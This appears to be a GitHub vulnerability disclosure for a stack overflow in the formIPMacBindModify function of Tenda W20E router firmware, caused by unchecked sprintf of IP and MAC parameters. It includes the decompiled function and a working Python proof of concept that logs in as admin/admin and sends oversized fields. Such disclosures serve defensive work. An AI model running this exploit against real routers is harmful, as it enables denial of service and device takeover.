Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Tenda W20E

version

V15.11.0.6 (US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC)

Firmware

https://www.tenda.com.cn/download/detail-2707.html

modifyIpMacBind

detail

In function formIPMacBindModify,the content obtained by the program from the parameter "IPMacBindRuleIp" and"IPMacBindRuleMac" are passed to ip and mac.Then the ip and mac are directly copied into the tmp stack through the sprintf function.There is no size check, so there is a stack overflow vulnerability.The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

void __cdecl formIPMacBindModify(webs_t wp, unsigned __int8 *path, unsigned __int8 *query)
{
  int v3; // r0
  int v4; // r0
  int v5; // r0
  int v6; // r0
  int v7; // r0
  unsigned __int8 mibName[128]; // [sp+24h] [bp-618h] BYREF
  unsigned __int8 ruleId[128]; // [sp+A4h] [bp-598h] BYREF
  unsigned __int8 msg[512]; // [sp+124h] [bp-518h] BYREF
  unsigned __int8 tmp[512]; // [sp+324h] [bp-318h] BYREF
  unsigned __int8 slctLst[128]; // [sp+524h] [bp-118h] BYREF
  unsigned __int8 out[128]; // [sp+5A4h] [bp-98h] BYREF
  int index; // [sp+624h] [bp-18h]
  unsigned __int8 *remark; // [sp+628h] [bp-14h]
  unsigned __int8 *mac; // [sp+62Ch] [bp-10h]
  unsigned __int8 *ip; // [sp+630h] [bp-Ch]
  unsigned __int8 *ruleIndex; // [sp+634h] [bp-8h]

  *(_DWORD *)out = 49;
  memset(&out[4], 0, 0x7Cu);
  *(_DWORD *)slctLst = 0;
  memset(&slctLst[4], 0, 0x7Cu);
  *(_DWORD *)tmp = 0;
  memset(&tmp[4], 0, 0x1FCu);
  *(_DWORD *)msg = 0;
  memset(&msg[4], 0, 0x1FCu);
  ruleIndex = 0;
  ip = 0;
  mac = 0;
  remark = 0;
  ruleIndex = websGetVar(wp, "IPMacBindRuleId", "0");
  ip = websGetVar(wp, "IPMacBindRuleIp", "000:000:000:000");
  mac = websGetVar(wp, "IPMacBindRuleMac", "00:00:00:00:00:00");
  remark = websGetVar(wp, "IPMacBindRuleRemark", "hello");
  index = 0;
  *(_DWORD *)ruleId = 0;
  memset(&ruleId[4], 0, 0x7Cu);
  *(_DWORD *)mibName = 0;
  memset(&mibName[4], 0, 0x7Cu);
  v3 = atoi((const char *)ruleIndex);
  sprintf((char *)mibName, "security.ipbind.list%d", v3 + 1);
  GetValue((int)mibName, (int)slctLst);
  getKeyfrmLst(slctLst, ";", 0, ruleId);
  v4 = atoi((const char *)ruleIndex);
  listRm(IPMAC_BIND, v4 + 1);
  v5 = atoi((const char *)ruleId);
  sprintf(
    (char *)tmp,
    "%s;1;%s;%s;name%d;%s",
    (const char *)ruleId,
    (const char *)ip,
    (const char *)mac,
    v5,
    (const char *)remark);
  v6 = atoi((const char *)ruleIndex);
  ipmacBindRuleAdd(tmp, v6 + 1);
  listNumAdd("security.ipbind.list", 1);
  sprintf((char *)msg, "op=%d", 6);
  v7 = send_msg_to_netctrl(11, msg);
  CommitCfm(v7);
  outputToWebs(wp, out);
}

poc

import requests

cmd  = b'IPMacBindRuleId=' + b'9' 
cmd += b'&IPMacBindRuleIp=' + b'A' * 1000
cmd += b'&IPMacBindRuleMac=' + b'B' * 1000
cmd += b'&IPMacBindRuleRemark=' + b'A' * 500
cmd += b'&staticRouteWAN=' + b'A' * 20

url = b"http://192.168.0.1/login/Auth"
payload = b"http://192.168.0.1/goform/modifyIpMacBind/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()